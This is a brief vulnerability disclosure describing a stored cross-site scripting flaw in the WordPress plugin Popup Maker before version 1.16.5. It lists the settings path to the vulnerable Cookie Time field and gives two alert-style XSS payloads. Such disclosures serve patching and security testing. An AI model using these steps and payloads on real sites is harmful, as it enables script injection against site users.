  1. Description:
  ----------------------
  WordPress Plugin Popup Maker <1.16.5 does not sanitise and escape some of its popup settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.
  
  
  2. Proof of Concept:
  ----------------------
  Create Popup > Popup Settings > Triggers > Add New Cookie > Add > Cookie Time(overwrite the default '1 month' with XSS payload)
  Click 'Add' what triggers the XSS payload
  
  Payload examples:
  
  <script>alert('XSS');</script>
  <img src=x onerror=alert('XSS')>
